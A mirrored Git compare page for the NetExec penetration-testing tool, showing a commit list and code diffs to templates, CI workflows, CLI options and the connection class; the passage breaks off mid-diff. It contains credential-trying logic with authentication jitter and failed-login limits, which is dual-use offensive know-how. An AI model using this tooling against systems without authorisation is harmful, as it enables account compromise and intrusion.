mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-09 04:10:18 -10:00
Compare commits
293
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f0c914156e | ||
|
|
e2e0297a3a | ||
|
|
95ac1af00a | ||
|
|
078b0ff451 | ||
|
|
aa9b044e7b | ||
|
|
34c3c29266 | ||
|
|
730b57248d | ||
|
|
98244994b9 | ||
|
|
e3baadb108 | ||
|
|
c7c1f06323 | ||
|
|
d23669b5d0 | ||
|
|
b1b64a8e23 | ||
|
|
c64366068c | ||
|
|
59c6033bc7 | ||
|
|
94a0b7adad | ||
|
|
faf7f18224 | ||
|
|
a79680aeff | ||
|
|
a194fda283 | ||
|
|
9f61d8ba3b | ||
|
|
aff33d677e | ||
|
|
f4bac9b92f | ||
|
|
d644ac1499 | ||
|
|
f92f7f585f | ||
|
|
06e107dd10 | ||
|
|
76a01909bb | ||
|
|
c699c6da74 | ||
|
|
0cf9d72983 | ||
|
|
6c148c6ac8 | ||
|
|
4cc6676e12 | ||
|
|
f49f890226 | ||
|
|
574afc0d5e | ||
|
|
535a1061b6 | ||
|
|
93441f2190 | ||
|
|
daede6d00a | ||
|
|
5c39381dfc | ||
|
|
aedfc37a19 | ||
|
|
0586d844a7 | ||
|
|
9e68ba5602 | ||
|
|
3b1ca12ef0 | ||
|
|
a5e61bf6ac | ||
|
|
bb8f30bd9f | ||
|
|
f0b2d3984c | ||
|
|
97c729c62d | ||
|
|
61a2cf1a72 | ||
|
|
a2f856d6c4 | ||
|
|
2770a52ed8 | ||
|
|
a677b37414 | ||
|
|
8560f7b921 | ||
|
|
0ca3c43f02 | ||
|
|
045a9649fd | ||
|
|
25f0b59842 | ||
|
|
d8bd8e14b9 | ||
|
|
3216380291 | ||
|
|
abfd76cf4f | ||
|
|
4eb9838cfb | ||
|
|
f1976ac721 | ||
|
|
fe1064b333 | ||
|
|
8fb9bc0d75 | ||
|
|
52d45116e4 | ||
|
|
ab5966f8d9 | ||
|
|
c2a266923f | ||
|
|
62dcc28048 | ||
|
|
9a054871c4 | ||
|
|
60db63436e | ||
|
|
d7918cd655 | ||
|
|
768d462844 | ||
|
|
a6271cef24 | ||
|
|
fe0ec9c040 | ||
|
|
0d84189d7f | ||
|
|
0ffa19debf | ||
|
|
18c3fd0b30 | ||
|
|
d9ce7a45df | ||
|
|
1f8a0ef491 | ||
|
|
1ca2fd51b2 | ||
|
|
71f9fdaa3f | ||
|
|
5208c42aaa | ||
|
|
b08c509b3c | ||
|
|
f649c04d0d | ||
|
|
798770479a | ||
|
|
12779c43f4 | ||
|
|
32bc19a0d5 | ||
|
|
bc4416d567 | ||
|
|
84cecd5968 | ||
|
|
992ddc82b4 | ||
|
|
f0fa89b88d | ||
|
|
f3fd612b56 | ||
|
|
cd363e97ad | ||
|
|
4e98f7bb02 | ||
|
|
16c6ebfe1a | ||
|
|
9662ef69a2 | ||
|
|
5d70195b93 | ||
|
|
7d44b11c2b | ||
|
|
9e43aab3ee | ||
|
|
89d3790aa4 | ||
|
|
fcecda3696 | ||
|
|
46a97cc3a3 | ||
|
|
d19b5243f1 | ||
|
|
4cabffb525 | ||
|
|
b0ccbe28e9 | ||
|
|
b39198aef7 | ||
|
|
af9656eaee | ||
|
|
ca09910606 | ||
|
|
32b96c23fb | ||
|
|
60c95ba8f6 | ||
|
|
06415348dc | ||
|
|
9359ac26da | ||
|
|
2d7ac3c8f1 | ||
|
|
b123a4dc8f | ||
|
|
a03e7720ed | ||
|
|
4ab7a39d25 | ||
|
|
b5b2598995 | ||
|
|
b85543d93c | ||
|
|
9b57d62354 | ||
|
|
52dd4fea15 | ||
|
|
2f32d18f18 | ||
|
|
4b8a44e64b | ||
|
|
09f45e866c | ||
|
|
98e7128293 | ||
|
|
3523cd69cf | ||
|
|
bd5a645571 | ||
|
|
2f62e1c875 | ||
|
|
044f63b8f3 | ||
|
|
0a42ebb6ec | ||
|
|
6104b5d27b | ||
|
|
3be7a02810 | ||
|
|
13ca79f44f | ||
|
|
393bc40e8c | ||
|
|
dbc67e5ef8 | ||
|
|
3f1fa69bdc | ||
|
|
34ebd5ad54 | ||
|
|
f5bb1fc65f | ||
|
|
5c249d59e5 | ||
|
|
3e3b37fe1a | ||
|
|
6856d2696a | ||
|
|
59297e83d5 | ||
|
|
41992be628 | ||
|
|
da7c507f3f | ||
|
|
72eeb7e31d | ||
|
|
cd0d3c8f41 | ||
|
|
df4ebf3131 | ||
|
|
75e9316104 | ||
|
|
ecf5772e86 | ||
|
|
2562b60344 | ||
|
|
7c68ab4db6 | ||
|
|
a7b6ccf171 | ||
|
|
0ecdfd3564 | ||
|
|
dd075d4dcf | ||
|
|
cee3430be7 | ||
|
|
01c4a4479a | ||
|
|
2e493f788d | ||
|
|
e348965910 | ||
|
|
b1a07259db | ||
|
|
59a201a8db | ||
|
|
c331ebec12 | ||
|
|
2457ac0259 | ||
|
|
e14bbaf5a3 | ||
|
|
e728c15c6d | ||
|
|
0eeddfbf83 | ||
|
|
67bf99b39c | ||
|
|
1ba3d04a1d | ||
|
|
4b35ab7a9e | ||
|
|
b73eabafdd | ||
|
|
3937f46fd6 | ||
|
|
f6c5073ed9 | ||
|
|
8f2c847815 | ||
|
|
c659d75ae4 | ||
|
|
63d6e19208 | ||
|
|
114784911c | ||
|
|
cb40697cef | ||
|
|
4af3705c4f | ||
|
|
c11a4353ce | ||
|
|
0626bbc729 | ||
|
|
4fb457c57a | ||
|
|
b85add8de9 | ||
|
|
cec36e7e24 | ||
|
|
840b4dd834 | ||
|
|
15d52b778b | ||
|
|
eaeda89278 | ||
|
|
52754f6eba | ||
|
|
e8a083e58c | ||
|
|
69747b9cba | ||
|
|
fdcda98d0a | ||
|
|
d03f19eff3 | ||
|
|
deededf441 | ||
|
|
220cecdc0e | ||
|
|
32583e94e1 | ||
|
|
9106c9ab0d | ||
|
|
8235bbdbc0 | ||
|
|
e9583ca56c | ||
|
|
ffa964647b | ||
|
|
c7fcdee1d5 | ||
|
|
7a226877e8 | ||
|
|
22da1831ec | ||
|
|
bf737f186d | ||
|
|
b80aa433d2 | ||
|
|
5bd689177f | ||
|
|
b122a39b15 | ||
|
|
41ed36d6fa | ||
|
|
bfe7e46800 | ||
|
|
2e311a150b | ||
|
|
774f77e719 | ||
|
|
e691e350a9 | ||
|
|
0917a05188 | ||
|
|
04b0b3aa6b | ||
|
|
63f9f3507e | ||
|
|
09a50d8043 | ||
|
|
e31742ec67 | ||
|
|
a6935b4d8d | ||
|
|
041645aed9 | ||
|
|
6a24d76db9 | ||
|
|
eb244948e6 | ||
|
|
8940badc09 | ||
|
|
d8284f9178 | ||
|
|
934ba6f139 | ||
|
|
a9bd576392 | ||
|
|
58d2039553 | ||
|
|
6c3746643e | ||
|
|
e0b6f571c8 | ||
|
|
fc40c778fe | ||
|
|
9603f8f450 | ||
|
|
7c07ab04d7 | ||
|
|
c1a2a92816 | ||
|
|
3dc84e1228 | ||
|
|
1e517c8313 | ||
|
|
c123e37d4e | ||
|
|
58c0529264 | ||
|
|
40e99913e3 | ||
|
|
e870a30416 | ||
|
|
fb8c4bcdcd | ||
|
|
b0ec4b7951 | ||
|
|
e5bba812e8 | ||
|
|
49e909c50a | ||
|
|
14e7034352 | ||
|
|
6a4852e013 | ||
|
|
3a1e93a386 | ||
|
|
762a9ac102 | ||
|
|
0eee328ea0 | ||
|
|
0608628aff | ||
|
|
020ec1758c | ||
|
|
1e68591742 | ||
|
|
590a4e2536 | ||
|
|
3c1927afd7 | ||
|
|
9a915f0f24 | ||
|
|
54e6ebb017 | ||
|
|
2e196b5a50 | ||
|
|
382af18513 | ||
|
|
39bf9b109c | ||
|
|
e8fe42cb4a | ||
|
|
addc060077 | ||
|
|
2a66f36364 | ||
|
|
60f1785608 | ||
|
|
ce9b766276 | ||
|
|
ae158614e6 | ||
|
|
d885974121 | ||
|
|
e367bf9fa8 | ||
|
|
6b6decd1d7 | ||
|
|
bcd0896bc1 | ||
|
|
328b25b434 | ||
|
|
45b02250e6 | ||
|
|
add1c66375 | ||
|
|
68c197d471 | ||
|
|
059013a0ab | ||
|
|
751544806b | ||
|
|
9b8b2e99ec | ||
|
|
548a5e9228 | ||
|
|
fc9bf7f4e5 | ||
|
|
5efa1ef7f0 | ||
|
|
48be975341 | ||
|
|
218518dbb6 | ||
|
|
35d3a3d3c1 | ||
|
|
3dcca25081 | ||
|
|
9131e5cf9b | ||
|
|
2b75ed6784 | ||
|
|
233136ae3e | ||
|
|
55a4486dbe | ||
|
|
43576de135 | ||
|
|
b42a7f17f5 | ||
|
|
30dd0cec91 | ||
|
|
5fd9e9b9a3 | ||
|
|
11600f7767 | ||
|
|
184551ee30 | ||
|
|
1f4dcdc4e9 | ||
|
|
cd5f8e7e47 | ||
|
|
3cf689c7f8 | ||
|
|
ee6b74bbb8 | ||
|
|
8010f10552 | ||
|
|
05430a679e | ||
|
|
30e9f0f153 | ||
|
|
5fe1d988ea | ||
|
|
ac2a56ef46 | ||
|
|
02bdbef712 | ||
|
|
303a051003 | ||
|
|
3dcd24869d |
No files matched your search
@@ -0,0 +1,18 @@
|
||||
---
|
||||
name: Feature request
|
||||
about: Request a new feature or enhancement
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
**Please Describe The Problem To Be Solved**
|
||||
(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
|
||||
|
||||
**(Optional): Suggest A Solution**
|
||||
(Replace This Text: A concise description of your preferred solution. Things to address include:
|
||||
* Details of the technical implementation
|
||||
* Tradeoffs made in design decisions
|
||||
* Caveats and considerations for the future
|
||||
|
||||
If there are multiple solutions, please present each one separately. Save comparisons for the very end.)
|
||||
@@ -0,0 +1,44 @@
|
||||
---
|
||||
name: Pull request
|
||||
about: Update code to fix a bug or add an enhancement/feature
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
## Description
|
||||
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
Please also include relevant motivation and context.
|
||||
List any dependencies that are required for this change.
|
||||
|
||||
## Type of change
|
||||
Please delete options that are not relevant.
|
||||
- [ ] Bug fix (non-breaking change which fixes an issue)
|
||||
- [ ] New feature (non-breaking change which adds functionality)
|
||||
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
|
||||
- [ ] This change requires a documentation update
|
||||
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
|
||||
|
||||
## How Has This Been Tested?
|
||||
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
|
||||
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
|
||||
|
||||
If you are using poetry, you can easily run tests via:
|
||||
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
|
||||
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
|
||||
|
||||
## Screenshots (if appropriate):
|
||||
Screenshots are always nice to have and can give a visual representation of the change.
|
||||
If appropriate include before and after screenshot(s) to show which results are to be expected.
|
||||
|
||||
## Checklist:
|
||||
|
||||
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
|
||||
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
|
||||
- [ ] New and existing e2e tests pass locally with my changes
|
||||
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
|
||||
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
|
||||
- [ ] I have performed a self-review of my own code
|
||||
- [ ] I have commented my code, particularly in hard-to-understand areas
|
||||
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
|
||||
@@ -1,11 +1,11 @@
|
||||
name: Lint Python code with ruff
|
||||
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
|
||||
|
||||
on: [push, pull_request]
|
||||
on:
|
||||
push:
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: Lint Python code with ruff
|
||||
runs-on: ubuntu-latest
|
||||
if:
|
||||
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
|
||||
|
||||
+37
-18
@@ -1,32 +1,51 @@
|
||||
name: NetExec Tests
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
pull_request_review:
|
||||
types: [submitted]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: NetExec Tests for Py${{ matrix.python-version }}
|
||||
name: Test for Py${{ matrix.python-version }}
|
||||
if: github.event.review.state == 'APPROVED'
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python${{ matrix.python-version }}
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Run the e2e test
|
||||
run: |
|
||||
poetry run pytest tests
|
||||
- uses: actions/checkout@v3
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install with pipx
|
||||
run: |
|
||||
pipx install . --python python${{ matrix.python-version }}
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python${{ matrix.python-version }}
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Load every protocol and module
|
||||
run: |
|
||||
poetry run netexec winrm 127.0.0.1
|
||||
poetry run netexec vnc 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1
|
||||
poetry run netexec ldap 127.0.0.1
|
||||
poetry run netexec wmi 127.0.0.1
|
||||
poetry run netexec rdp 127.0.0.1
|
||||
poetry run netexec mssql 127.0.0.1
|
||||
poetry run netexec ssh 127.0.0.1
|
||||
poetry run netexec ftp 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1 -M veeam
|
||||
@@ -1,5 +1,6 @@
|
||||
data/nxc.db
|
||||
hash_spider_default.sqlite3
|
||||
hash_spider_testing.sqlite3
|
||||
*.bak
|
||||
*.log
|
||||
.venv
|
||||
|
||||
@@ -38,9 +38,11 @@ a = Analysis(
|
||||
'nxc.protocols.smb.smbspider',
|
||||
'nxc.protocols.smb.passpol',
|
||||
'nxc.protocols.mssql.mssqlexec',
|
||||
'nxc.parsers.ldap_results',
|
||||
'nxc.helpers.bash',
|
||||
'nxc.helpers.bloodhound',
|
||||
'nxc.helpers.msada_guids',
|
||||
'nxc.helpers.ntlm_parser',
|
||||
'paramiko',
|
||||
'pypsrp.client',
|
||||
'pywerview.cli.helpers',
|
||||
@@ -71,6 +73,7 @@ a = Analysis(
|
||||
'dploot.lib.smb',
|
||||
'pyasn1_modules.rfc5652',
|
||||
'unicrypto.backends.pycryptodomex',
|
||||
'dateutil.relativedelta',
|
||||
'sspilib.raw._text',
|
||||
],
|
||||
hookspath=['./nxc/.hooks'],
|
||||
|
||||
+20
-6
@@ -9,13 +9,20 @@ import nxc
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.logger import nxc_logger, setup_debug_logging
|
||||
import importlib.metadata
|
||||
|
||||
|
||||
def gen_cli_args():
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
setup_debug_logging()
|
||||
|
||||
try:
|
||||
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
|
||||
except ValueError:
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
COMMIT = ""
|
||||
CODENAME = "nxc4u"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
|
||||
|
||||
parser = argparse.ArgumentParser(description=rf"""
|
||||
. .
|
||||
@@ -34,16 +41,23 @@ def gen_cli_args():
|
||||
|
||||
{highlight('Version', 'red')} : {highlight(VERSION)}
|
||||
{highlight('Codename', 'red')}: {highlight(CODENAME)}
|
||||
{highlight('Commit', 'red')} : {highlight(COMMIT)}
|
||||
""", formatter_class=RawTextHelpFormatter)
|
||||
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
|
||||
parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
|
||||
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
|
||||
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
|
||||
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication (default: None)")
|
||||
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
|
||||
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
parser.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
parser.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
|
||||
dns_parser = parser.add_argument_group("DNS")
|
||||
dns_parser.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
|
||||
dns_parser.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
|
||||
dns_parser.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
|
||||
dns_parser.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds (default: %(default)s)")
|
||||
|
||||
# we do module arg parsing here so we can reference the module_list attribute below
|
||||
module_parser = argparse.ArgumentParser(add_help=False)
|
||||
mgroup = module_parser.add_mutually_exclusive_group()
|
||||
@@ -70,7 +84,7 @@ def gen_cli_args():
|
||||
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
|
||||
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
|
||||
fail_group = std_parser.add_mutually_exclusive_group()
|
||||
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
|
||||
@@ -95,7 +109,7 @@ def gen_cli_args():
|
||||
sys.exit(1)
|
||||
|
||||
if args.version:
|
||||
print(f"{VERSION} - {CODENAME}")
|
||||
print(f"{VERSION} - {CODENAME} - {COMMIT}")
|
||||
sys.exit(1)
|
||||
|
||||
return args
|
||||
|
||||
+129
-51
@@ -4,39 +4,82 @@ from threading import BoundedSemaphore
|
||||
from functools import wraps
|
||||
from time import sleep
|
||||
from ipaddress import ip_address
|
||||
from dns import resolver, rdatatype
|
||||
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
|
||||
|
||||
from nxc.config import pwned_label
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.loaders.moduleloader import ModuleLoader
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
global_failed_logins = 0
|
||||
user_failed_logins = {}
|
||||
|
||||
|
||||
def gethost_addrinfo(hostname):
|
||||
is_ipv6 = False
|
||||
is_link_local_ipv6 = False
|
||||
def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
|
||||
result = {
|
||||
"host": "",
|
||||
"is_ipv6": False,
|
||||
"is_link_local_ipv6": False
|
||||
}
|
||||
address_info = {"AF_INET6": "", "AF_INET": ""}
|
||||
|
||||
for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, _, _, canonname, sa = res
|
||||
address_info[af.name] = sa[0]
|
||||
try:
|
||||
if ip_address(target).version == 4:
|
||||
address_info["AF_INET"] = target
|
||||
else:
|
||||
address_info["AF_INET6"] = target
|
||||
except Exception:
|
||||
# If the target is not an IP address, we need to resolve it
|
||||
if not (dns_server or dns_tcp):
|
||||
for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, _, _, canonname, sa = res
|
||||
address_info[af.name] = sa[0]
|
||||
|
||||
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
|
||||
address_info["AF_INET6"] = canonname
|
||||
result["is_link_local_ipv6"] = True
|
||||
else:
|
||||
dnsresolver = resolver.Resolver()
|
||||
dnsresolver.timeout = dns_timeout
|
||||
dnsresolver.lifetime = dns_timeout
|
||||
|
||||
if dns_server:
|
||||
dnsresolver.nameservers = [dns_server]
|
||||
|
||||
try:
|
||||
answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
|
||||
address_info["AF_INET"] = answers_ipv4[0].address
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
|
||||
address_info["AF_INET6"] = answers_ipv6[0].address
|
||||
|
||||
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
|
||||
result["is_link_local_ipv6"] = True
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not (address_info["AF_INET"] or address_info["AF_INET6"]):
|
||||
raise Exception(f"The DNS query name does not exist: {target}")
|
||||
|
||||
# IPv4 preferred
|
||||
if address_info["AF_INET"]:
|
||||
host = address_info["AF_INET"]
|
||||
if address_info["AF_INET"] and not force_ipv6:
|
||||
result["host"] = address_info["AF_INET"]
|
||||
else:
|
||||
is_ipv6 = True
|
||||
host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
|
||||
result["is_ipv6"] = True
|
||||
result["host"] = address_info["AF_INET6"]
|
||||
|
||||
return host, is_ipv6, is_link_local_ipv6
|
||||
return result
|
||||
|
||||
|
||||
def requires_admin(func):
|
||||
@@ -48,7 +91,7 @@ def requires_admin(func):
|
||||
return wraps(func)(_decorator)
|
||||
|
||||
|
||||
def dcom_FirewallChecker(iInterface, timeout):
|
||||
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding["wTowerId"] == 7:
|
||||
@@ -68,6 +111,7 @@ def dcom_FirewallChecker(iInterface, timeout):
|
||||
return True, None
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
@@ -79,49 +123,66 @@ def dcom_FirewallChecker(iInterface, timeout):
|
||||
|
||||
|
||||
class connection:
|
||||
def __init__(self, args, db, host):
|
||||
self.domain = None
|
||||
def __init__(self, args, db, target):
|
||||
self.args = args
|
||||
self.db = db
|
||||
self.hostname = host
|
||||
self.port = self.args.port
|
||||
self.logger = nxc_logger
|
||||
self.conn = None
|
||||
self.admin_privs = False
|
||||
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
|
||||
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
|
||||
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
self.admin_privs = False
|
||||
self.failed_logins = 0
|
||||
self.local_ip = None
|
||||
self.logger = nxc_logger
|
||||
|
||||
try:
|
||||
self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
|
||||
if self.args.kerberos:
|
||||
self.host = self.hostname
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
except Exception as e:
|
||||
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
|
||||
# Network info
|
||||
self.domain = None
|
||||
self.host = None # IP address of the target. If kerberos this is the hostname
|
||||
self.hostname = target # Target info supplied by the user, may be an IP address or a hostname
|
||||
self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified
|
||||
self.kdcHost = self.args.kdcHost
|
||||
self.port = self.args.port
|
||||
self.local_ip = None
|
||||
|
||||
# DNS resolution
|
||||
dns_result = self.resolver(target)
|
||||
if dns_result:
|
||||
self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
|
||||
else:
|
||||
return
|
||||
|
||||
if args.jitter:
|
||||
jitter = args.jitter
|
||||
if "-" in jitter:
|
||||
start, end = jitter.split("-")
|
||||
jitter = (int(start), int(end))
|
||||
else:
|
||||
jitter = (0, int(jitter))
|
||||
if self.args.kerberos:
|
||||
self.host = self.hostname
|
||||
|
||||
value = random.choice(range(jitter[0], jitter[1]))
|
||||
self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
|
||||
sleep(value)
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
|
||||
try:
|
||||
self.proto_flow()
|
||||
except Exception as e:
|
||||
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
else:
|
||||
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
finally:
|
||||
self.logger.debug(f"Closing connection to: {target}")
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.close()
|
||||
|
||||
def resolver(self, target):
|
||||
try:
|
||||
return get_host_addr_info(
|
||||
target=target,
|
||||
force_ipv6=self.args.force_ipv6,
|
||||
dns_server=self.args.dns_server,
|
||||
dns_tcp=self.args.dns_tcp,
|
||||
dns_timeout=self.args.dns_timeout
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.info(f"Error resolving hostname {target}: {e}")
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def proto_args(std_parser, module_parser):
|
||||
@@ -142,16 +203,7 @@ class connection:
|
||||
def check_if_admin(self):
|
||||
return
|
||||
|
||||
def kerberos_login(
|
||||
self,
|
||||
domain,
|
||||
username,
|
||||
password="",
|
||||
ntlm_hash="",
|
||||
aesKey="",
|
||||
kdcHost="",
|
||||
useCache=False,
|
||||
):
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
return
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
@@ -163,11 +215,14 @@ class connection:
|
||||
def proto_flow(self):
|
||||
self.logger.debug("Kicking off proto_flow")
|
||||
self.proto_logger()
|
||||
if self.create_conn_obj():
|
||||
if not self.create_conn_obj():
|
||||
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
else:
|
||||
self.logger.debug("Created connection object")
|
||||
self.enum_host_info()
|
||||
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
@@ -201,7 +256,7 @@ class connection:
|
||||
It iterates over the modules specified in the command line arguments.
|
||||
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
|
||||
"""
|
||||
for module in self.module:
|
||||
for module in self.modules:
|
||||
self.logger.debug(f"Loading module {module.name} - {module}")
|
||||
module_logger = NXCAdapter(
|
||||
extra={
|
||||
@@ -385,7 +440,9 @@ class connection:
|
||||
return domain, username, owned, secret, cred_type, [None] * len(secret)
|
||||
|
||||
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
|
||||
"""Try to login using the specified credentials and protocol.
|
||||
"""
|
||||
Try to login using the specified credentials and protocol.
|
||||
With --jitter an authentication throttle can be applied.
|
||||
|
||||
Possible login methods are:
|
||||
- plaintext (/kerberos)
|
||||
@@ -398,6 +455,18 @@ class connection:
|
||||
return False
|
||||
if hasattr(self.args, "delegate") and self.args.delegate:
|
||||
self.args.kerberos = True
|
||||
|
